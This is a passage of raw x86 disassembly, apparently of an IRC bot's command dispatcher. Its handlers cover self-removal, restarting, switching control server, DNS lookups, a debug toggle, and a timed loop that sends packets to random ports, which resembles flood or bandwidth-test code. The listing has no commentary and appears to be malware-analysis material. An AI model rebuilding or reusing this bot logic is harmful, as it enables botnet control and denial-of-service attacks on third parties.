0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, off_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 pop ecx push eax call sub_416B46 pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41F028 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41F028 call sub_416B3A ; strcpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EC0C push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DB90 call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DF10 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41EE28 call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41EE28 push offset dword_41DB90 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DF10 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, off_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DF18, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DF18, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DF18, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C push eax call dword_417090 push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF10 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DF64 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DF68 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DF6C ; freeaddrinfo jmp short loc_40C0D4 ; --------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF10 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DF64 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DF68 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DF6C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DF6C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C push [ebp+var_63B8] call dword_417230 mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DD10 push 3B7h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call 